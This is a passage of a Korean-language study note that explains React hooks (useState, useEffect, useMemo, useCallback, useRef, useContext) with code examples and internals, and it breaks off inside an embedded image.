(__DEV__) { 146 | ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame; 147 | ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue; 148 | } 149 | 150 | if (enableServerContext) { 151 | ReactSharedInternals.ContextRegistry = ContextRegistry; 152 | } 153 | 154 | export default ReactSharedInternals; 155 | ``` 156 | 157 | shared는 말 그대로 모든 패키지가 공유하는 폴더이다. 이 곳에서도 ReactSharedInternals.js 파일을 찾을 수 있다. 158 | 159 | ```ts 160 | shared -> ReactSharedInternals.js 161 | /** 162 | * Copyright (c) Meta Platforms, Inc. and affiliates. 163 | * 164 | * This source code is licensed under the MIT license found in the 165 | * LICENSE file in the root directory of this source tree. 166 | * 167 | * @flow 168 | */ 169 | 170 | import * as React from 'react'; 171 | 172 | const ReactSharedInternals = 173 | React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED; 174 | 175 | export default ReactSharedInternals; 176 | ``` 177 | 178 | reconciler -> shared패키지의 ReactSharedInternal -> React코어의 ReactSharedInternal -> ReactCurrentDispatcher -> ReactHooks -> 훅 179 | 180 | ### useState훅 181 | 182 | useState는 함수형 컴포넌트 내부에서 상태를 정의하고, 이 상태를 관리할 수 있게 해주는 훅이다. 183 | 184 | ```ts 185 | import {useState} from 'react' 186 | 187 | //초기값을 넘겨주지 않으면 undefined 188 | const [state,setState] = useState(initalState) 189 | ``` 190 | 191 | 만약 useState를 사용하지 않고 함수 내부에서 상태를 관리한다면 어떻게 될까? 192 | 193 | ```ts 194 | function Component() { 195 | let state = 'hello' 196 | 197 | function handleClickButton() { 198 | state = 'hi' 199 | } 200 | 201 | return ( 202 | <> 203 |

    {state}

    204 | 205 | 206 | ) 207 | } 208 | ``` 209 | 리액트에서 렌더링은 함수형 컴포넌트의 return문과 클래스형 컴포넌트의 render함수를 실행한 후 이 실행 결과를 이전 트리와 비교해 리렌더링이 필요한 부분을 찾아서 발생시킨다. 리렌더링을 일으키는 요소 중에는 크게 아래와 같았다. 다시말해, 위 코드는 리렌더링을 일으키는 어떤 조건에 전혀 해당되지 않는다. 210 | 211 | - useState setter 212 | - useReducer dispatch 213 | - this.setState 214 | - this.forceUpdate 215 | - useSyncExternalStore 216 | 217 | 그럼 아래와 같이 바꾸면 어떨까? 218 | 219 | ```ts 220 | function Component() { 221 | const [,triggerRender] = useState() 222 | let state = 'hello' 223 | 224 | function handleButtonClick() { 225 | state = 'hi' 226 | triggerRender() 227 | } 228 | 229 | return ( 230 | <> 231 |

    {state}

    232 | 233 | 234 | ) 235 | } 236 | ``` 237 | 238 | 위 경우 버튼을 클릭하면 렌더링이 일어난다. 그러나 상태가 갱신되지 않는데, 함수형 컴포넌트의 결과인 return의 값을 비교해 렌더링을 실행한다. 매번 렌더링이 일어날 떄마다, 저 Component가 다시 만들어지고 결국 새로운 함수에서 state는 hello로 매번 초기화되므로 상태가 변경되지 않는다. 239 | 240 | 그렇다면 useState의 결과는 어떻게 함수가 실행되어도 그 값을 갖고 있을까? useState훅을 다음과 같이 만들어보자. 241 | 242 | ```ts 243 | function useState(initalState) { 244 | let initalState = initalState 245 | 246 | function setState(newState) { 247 | initalState = newState 248 | } 249 | 250 | return [initalState,setState] 251 | } 252 | ``` 253 | 254 | 이 코드는 정상적으로 동작하지 않는다. 구조분해할당으로 이미 initalState의 값을 결정한 상태이기 때문에, setState의 호출에도 불구하고 최신의 상태를 가져오지 못한다. 이를 해결하려면 setState를 함수로 바꿔서 state의 값을 반환하게 만들면 된다. 255 | 256 | ```ts 257 | function useState(initalState) { 258 | let initalState = initalState 259 | 260 | function state() { 261 | return initalState 262 | } 263 | 264 | function setState(newState) { 265 | initalState = newState 266 | } 267 | 268 | return [initalState,setState] 269 | } 270 | 271 | const [state,setState] = useState(0) 272 | setState(1) 273 | 274 | console.log(state()) 275 | ``` 276 | 277 | 다만 실제 react에서는 값을 얻기 위해 함수를 사용하지 않는데, 이를 위해 react는 클로저를 사용한다. 278 | 279 | ```ts 280 | const MyReact = function() { 281 | const global = {} 282 | let index = 0 283 | 284 | function useState(initalState) { 285 | //애플리케이션의 전체 state관리용 286 | if(!global.states) { 287 | global.states = [] 288 | } 289 | 290 | //states 정보 조회 -> 현재 상태 값이 없다면 초기 값으로 291 | const currentState = global.states[index] ?? initalState 292 | //states의 값을 갱신 293 | global.states[index] = currentState 294 | 295 | //setter함수 296 | const setState = (function() { 297 | //클로저를 통해 즉시 실행 함수의 문맥으로 index가둔다. index를 계속 참조한다. 298 | let currentIndex = index 299 | return function(value) { 300 | global.states[currentIndex] = value 301 | } 302 | }()) 303 | 304 | //하나의 state마다 index를 할당하고 그 index가 global.states를 가리킨다. 305 | index = index + 1 306 | 307 | return [currentState,setState] 308 | } 309 | 310 | } 311 | ``` 312 | useState는 자바스크립트의 클로저에 의존해 구현된 것을 짐작할 수 있다. 클로저를 사용함으로써 외부에 값을 노출시키지 않고 컴포넌트가 렌더링되어도, useState에서 이전 값을 정확히 알 수 있다. 313 | 314 | useState의 인수로 특정한 값을 넘기는 함수를 인수로 넣어줄 수 있다. 315 | 316 | ```ts 317 | // 함수를 실행해 값을 반환한다. 318 | const [count,setCount] = useState(() => 319 | Number.parseInt(window.localStorage.getItem(cacheKey)) 320 | ) 321 | ``` 322 | 323 | 게으른 초기화 함수는 오직 state가 처음 만들어질 때 실행된다. 이후 다시 리렌더링 된다면, 이 함수의 실행은 무시된다. 324 | 325 | ```ts 326 | 327 | //매번 리렌더링 될떄마다(setState가 호출될때마다 localStorage를 읽는다.) 328 | const Counter = () => { 329 | const initalState = Number.parseInt(window.localStorage.getItem(key)) 330 | const [count,setCount] = useState(initalState) 331 | } 332 | 333 | 334 | //딱 초기화 할 때 한번만 호출된다. 335 | 336 | const Counter = () => { 337 | const [count,setCount] = useState(() => 0) 338 | } 339 | ``` 340 | 341 | 342 | 343 | 344 | 이러한 방법은 useState의 초기값이 복잡하거나 무거운 연산을 포함하고 있을 때 사용하면 좋다. 345 | 346 | (localStorage나 sessionStorage에 대한 접근, map,filter등의 배열에 대한 접근 등) 347 | 348 | ### useEffect 349 | 350 | [관련 글](https://maxrozen.com/race-conditions-fetching-data-react-with-useeffect) 351 | 352 | useEffect의 정의를 정확하게 내리면, useEffect는 애플리케이션 내 컴포넌트의 여러 값을 활용해 동기적으로 부수효과를 만드는 방법이다. 그리고 이 부수효과는 어떤 상태값과 함께 실행되는지 살펴보는 것이 중요하다. useEffect의 의존성 배열이 바뀔 때마다 첫번째 콜백이 실행된다. 353 | 354 | 그러면 어떻게 의존성 배열이 변경된 것을 알 수 있을까? 여기서 함수형 컴포넌트는 매번 함수를 실행해 렌더링을 수행한다는 점을 알아두자! 355 | 356 | ```ts 357 | function Component() { 358 | const [count,setCount] = useState(0) 359 | 360 | useEffect(() => { 361 | console.log(count) 362 | }) 363 | function handleClick() { 364 | setCount((prev) => prev + 1) 365 | } 366 | 367 | return ( 368 | <> 369 |

    {count}

    370 | 371 | 372 | ) 373 | } 374 | ``` 375 | 376 | useEffect는 자바스크립트의 proxy, 옵저버 패턴 등과 같은 기능을 써서 변화를 감지하는 것이 아닌, 377 | 378 | 렌더링을 할 때마다 의존성에 있는 값을 보면서, 이 의존성의 값이 이전과 다른지 확인하고 다르다면, 부수효과의 함수를 실행하는 함수이다. 379 | 그러면 클린업 함수는 대체 어떤 역할을 할까? 380 | 381 | 일반적으로 이벤트를 등록하고 지울 때 사용해야 한다고 알려져 있다. 382 | 383 | ```ts 384 | import {useState,useEffect} from 'react' 385 | 386 | export default function App() { 387 | const [counter, setCounter] = useState(0) 388 | 389 | function handleClick() { 390 | setCounter((prev) => prev + 1) 391 | } 392 | 393 | useEffect(() => { 394 | function addMouseEvent() { 395 | console.log(counter) 396 | } 397 | 398 | window.addEventListener('click',addMouseEvent) 399 | 400 | //클린업 함수 401 | return () => { 402 | console.log('클린업 함수 실행!',counter) 403 | window.removeEventListener('click',addMouseEvent) 404 | } 405 | },[counter]) 406 | 407 | return ( 408 | <> 409 |

    {counter}

    410 | 411 | 412 | ) 413 | } 414 | 415 | //클린업 함수 실행 ! 0 416 | //1 417 | 418 | //클린업 함수 실행 ! 1 419 | //2 420 | ``` 421 | - 버튼을 누른다. setState가 호출되어 count가 1 증가한다. 422 | - count가 바뀌었으므로 useEffect가 실행되는데, 이때 이전 useEffect에서 반환한 클린업 함수가 먼저 실행된다. 423 | - 이전 useEffect에서 반환한 클린업 함수는 함수가 선언되었을 상태인 count를 기억한다. 그러므로 0을 출력한다. 424 | - 그 후 새로운 useEffect가 실행되고, 새로운 이벤트 리스너가 등록된다. 425 | - 클릭이 발생할 때마다 현재의 count를 찍는다(바뀐 상태 1을 찍는다). 426 | 427 | 이 과정을 직관적으로 코드로 보여주면 다음과 같다. 렌더링이 발생할 때마다 count가 어떤 값으로 선언되어있는지 보여준다. 428 | 429 | ```ts 430 | useEffect(() => { 431 | function addMouseEvent() { 432 | console.log(0) 433 | } 434 | 435 | window.addEventListener('click',addMouseEvent) 436 | 437 | //클린업 함수 438 | //다음 렌더링이 끝나고 실행된다. 439 | 440 | return () => { 441 | console.log(0) 442 | window.removeEventListener('click',addMouseEvent) 443 | } 444 | },[count]) 445 | 446 | //그 이후 실행 447 | useEffect(() => { 448 | function addMouseEvent() { 449 | console.log(1) 450 | } 451 | 452 | window.addEventListener('click',addMouseEvent) 453 | 454 | //클린업 함수 455 | //다음 렌더링이 끝나고 실행된다. 456 | 457 | return () => { 458 | console.log(1) 459 | window.removeEventListener('click',addMouseEvent) 460 | } 461 | },[count]) 462 | ``` 463 | 464 | 결국 useEffect안의 콜백이 존재한다면, 이전의 클린업 함수를 반드시 실행하게 된다. 만약 이벤트를 걸어주는 콜백을 달고 클린업 함수를 반환하지 않았다고 생각해보자. 465 | 466 | 콜백이 실행될 떄마다 매번 이벤트가 달아지고, 이 이벤트는 제거되지 않는 무한 이벤트 추가와 같은 끔찍한 일이 벌어질 수 있다. 클린업 함수는 함수형 컴포넌트가 리렌더링 되었을 때, 의존성 변화가 있었을 당시 값을 기준으로 실행된다!.! 467 | 468 | 469 | ### 의존성 배열 470 | 471 | 의존성 배열은 보통 빈 배열을 두거나, 아예 아무런 값도 넘기지 않거나, 혹은 사용자가 직접 원하는 값을 넣어줄 수 있다. 만약 빈 배열을 두면, 최초 렌더링 이후 더 이상 실행되지 않고 아무런 값도 넘겨주지 않는다면 렌더링 될때마다 실행된다. (보통 컴포넌트가 렌더링 되었는지 확인할 때 사용할 수 있다.) 472 | 473 | ```ts 474 | useEffect(() => { 475 | console.log('컴포넌트 렌더링됨!') 476 | }) 477 | ``` 478 | 479 | 두 코드의 차이점을 살펴보자 480 | 481 | ```ts 482 | function Component() { 483 | console.log('foo') 484 | } 485 | 486 | function Component() { 487 | useEffect(() => { 488 | console.log('bar') 489 | }) 490 | } 491 | ``` 492 | 493 | - useEffect는 클라이언트 사이드에서의 실행을 보장 494 | - useEffect 내부는 컴포넌트의 렌더링이 완료된 이후에 실행된다. 495 | - 직접 실행은 컴포넌트가 렌더링되는 도중에 실행된다 496 | 497 | 의존성 배열의 이전값과 현재 값의 얕은 비교(Object.is)로 구현되어 있다. 498 | 499 | 이전 의존성 배열과 현재 의존성 배열의 값에 변경사항이 있으면 callback으로 선언한 부수효과를 실행한다. 500 | 501 | ### useEffect를 사용할 때 주의할 점 502 | 503 | (개인적으로 정말 궁금했던 점) 504 | 505 | 린트의 규칙은 최대한 살리면서 개발하자. 506 | 507 | 대부분 빈 배열을 의존성으로 넣어줄 때, 즉 컴포넌트를 마운트 하는 어떤 시점에 무언가를 하고 싶다는 의도로 작성한다.(정작 나도 많이..) 그러나 이는 클래스형 컴포넌트의 componentDidMount에 기반한 접근법으로 가급적 사용하면 안된다. 508 | 509 | useEffect는 반드시 의존성 배열로 전달한 값의 변경에 따라 실행해야 하는 훅이다. 510 | 511 | 그러나 의존성 배열을 넘기지 않은 채 콜백함수에 특정 값을 사용한다는 것은, 이 부수 효과가 실제 변화를 관찰하고, 실행해야 하는 값과 별개로 동작해야 한다는 것을 의미한다. 즉 컴포넌트의 state,props의 변경과 useEffect의 부수 효과가 별개로 동작하게 된다! 512 | 513 | ```ts 514 | function Component({log} : {log:string}) { 515 | useEffect(() => { 516 | logging(log) 517 | },[]) 518 | } 519 | ``` 520 | 이렇게 컴포넌트가 최초 마운트 되었을 때 로깅을 남기는 용도로 코드를 작성했다고 가정해보자. 521 | 522 | 그러나 당장 문제가 없더라도, 버그의 위험성을 안고 있다..! log가 아무리 변하더라도, useEffect의 부수효과는 실행되지 않는다. 523 | 524 | useEffect를 비동기 함수로 사용하는 경우, race-condition 문제가 발생할 수 있다. 만약 비동기 함수를 사용한다면 클린업 함수에 이전 비동기 함수에 대한 처리를 추가하는 것이 좋다. (클린업함수의 실행 순서를 보장할 수 없다) 525 | 526 | 가능한 한 useEffect는 간결하고 가볍게 유지하는 것이 좋다 527 | 528 | ### useMemo 529 | 530 | useMemo는 비용이 큰 연산의 결과를 저장(메모리제이션)해두고 이 저장된 값을 반환하는 훅이다. 531 | 532 | 첫번쨰 인자로 어떤 값을 반환하는 생성함수로, 두번째 인자로는 해당 함수가 의존하는 값의 배열을 전달한다. 533 | 534 | useMemo는 의존성 배열의 값이 변경되지 않았다면 이전에 기억해 둔 값을 반환하고, 변경되었다면 첫번째 함수를 실행하고 그 값을 반환하고 기억한다.(컴포넌트 또한 useMemo로 메모리제이션 해둘 수 있다.) 535 | 536 | ```ts 537 | //컴포넌트의 props를 기준으로 컴포넌트 자체를 기억해버린다! 538 | 539 | function ExpensiveComponent({value}) { 540 | useEffect(() => { 541 | console.log('렌더링') 542 | }) 543 | return {value} 544 | } 545 | 546 | function App() { 547 | const memoComponent = useMemo(() => ,[value]) 548 | 549 | return ( 550 |
    551 | {memoComponent} 552 |
    553 | ) 554 | } 555 | ``` 556 | 557 | "비용이 많이 드는 연산"이라면 useMemo를 사용할 수 있다! 558 | 559 | 결론 : 비용이 큰 연산에 대한 결과를 메모이제이션하고 저장된 값을 반환하는 훅 560 | 561 | - useMemo를 사용해 컴포넌트 메모이제이션도 가능 562 | - 물론 React.memo를 쓰는 것이 더 현명 563 | 564 | ### useCallback 565 | 566 | useMemo가 값을 기억한다면, useCallback은 인수로 넘겨받은 콜백 자체를 기억한다. 즉, 특정 함수를 새로 만들지 않고 재사용하게 된다. 567 | 568 | ```ts 569 | const ChildComponent = memo(({ name , value , onChange})) => { 570 | useEffect(() => { 571 | console.log('렌더링!',name) 572 | }) 573 | 574 | return ( 575 | <> 576 |

    {name} {value ? '켜짐' ? '꺼짐'}

    577 | 578 | 579 | ) 580 | } 581 | 582 | function App() { 583 | const [state1,setState1] = useState(false) 584 | const [state2,setState2] = useState(false) 585 | 586 | const toggle1 = () => { 587 | setState1(!state1) 588 | } 589 | 590 | const toggle2 = () => { 591 | setState2(!state2) 592 | } 593 | 594 | return ( 595 | <> 596 | 597 | 598 | 599 | ) 600 | } 601 | ``` 602 | 603 | memo를 이용해 컴포넌트를 메모리제이션해두었지만, App의 자식 전체가 렌더링되고 있다. ChildComponent의 memo를 씌우면 name,value,onChange의 값을 모두 기억하고 , 이 값들이 변경되지 않는 한 다시 렌더링 되지 않는다. 604 | 605 | 그러나 어느 한 버튼을 누르게 된다면 -> 이 버튼이 setState을 호출하고 -> App컴포넌트가 다시 렌더링되고 onChange함수가 새로 다시 만들어진다. 따라서 의도한 대로 동작하지 않게 된다. 606 | 607 | ```ts 608 | //상태값이 변경될 때만 함수가 재생성되고, 그 외에는 이전에 메모리에 저장한 함수를 재사용 609 | 610 | //ChildComponent는 자신에게 전달된 onChange 함수가 변경되지 않는 한 불필요한 렌더링을 방지하게 된다. 611 | 612 | function App() { 613 | const [state1,setState1] = useState(false) 614 | const [state2,setState2] = useState(false) 615 | 616 | const toggle1 = useCallback(() => { 617 | setState1(!state1) 618 | }, [state1]) 619 | 620 | const toggle2 = useCallback(() => { 621 | setState2(!state2) 622 | }, [state2]) 623 | 624 | return ( 625 | <> 626 | 627 | 628 | 629 | ) 630 | } 631 | 632 | ``` 633 | 634 | - useCallback은 useMemo를 사용해 구현할 수 있다 (Preact의 경우 이렇게 구현되어 있다) 635 | - 둘의 유일한 차이는 대상이 변수냐 함수냐일 뿐이다 636 | - 자바스크립트에서는 함수 또한 값으로 표현될 수 있으므로 이러한 코드는 매우 자연스럽다고 볼 수 있다 637 | - 다만 useMemo로 useCallback을 구현하는 경우 코드가 불필요하게 길어지고 혼동을 야기할 수 있으므로 리액트에서 별도로 제공하는 것으로 추측해 볼 수 있다 638 | 639 | ### useRef 640 | 641 | useState와 동일하게 컴포넌트 내부의 렌더링이 발생해도 변경 가능한 상태값을 지닌다. 그러나 useState와 두가지의 차이가 있다. 642 | 643 | - useRef는 반환값인 객체 내부에 있는 current로 값에 접근,변경이 가능하다. 644 | - useRef는 값이 변해도 렌더링을 발생시키지 않는다. 645 | 646 | 렌더링에 영향을 미치지 않으면 그냥 함수 외부에서 값을 선언하고 관리하는 게 좋지 않을까? 647 | 648 | ```ts 649 | let value = 0 650 | function Component() { 651 | return <>{value} 652 | } 653 | ``` 654 | 655 | 이 방식은 크게 다음과 같은 단점이 있다. 656 | 657 | - 컴포넌트가 실행되어 렌더링되지 않아도 value라는 값이 존재한다. 메모리에 불필요한 값을 갖게 하는 부작용이 있다. 658 | - 컴포넌트가 여러번 생성된다면 각 컴포넌트에서 모두 동일한 value를 바라보게 된다. 659 | 660 | useRef는 이 두가지 단점을 해결한다. 컴포넌트가 렌더링 될떄만 생성되고 무조건 별개의 값을 바라본다. 661 | 662 | Preact는 useRef을 useMemo로 구현한다. 렌더링에 영향을 미치면 안되기 떄문에 useMemo에 빈 배열을 두고, 각 렌더링마다 동일한 객체를 바라보게 된다. 663 | 664 | 자바스크립트의 특징, 객체의 값을 변경해도 객체를 가리키는 주소가 변경되지 않는다는 것을 떠올리면 useMemo로 useRef를 구현할 수 있다 665 | 666 | ```ts 667 | export function useRef(initalValue) { 668 | currentHook = 5 669 | return useMemo(() => {current : initalValue} , []) 670 | } 671 | ``` 672 | 673 | ### useContext 674 | 675 | 리액트 애플리케이션은 부모컴포넌트와 자식 컴포넌트로 이루어진 트리 구조를 갖기 떄문에 부모의 데이터를 사용하고 싶다면 props로 데이터를 넘겨준다. 그러나 전달해야하는 부모-자식의 깊이가 깊어지면 props drilling 현상이 발생한다. 콘텍스트를 사용하면 명시적인 props 전달 없이도 하위 컴포넌트 전부에서 원하는 값을 자유롭게 쓸 수 있다. 676 | 677 | ![](data:image/jpeg;base64,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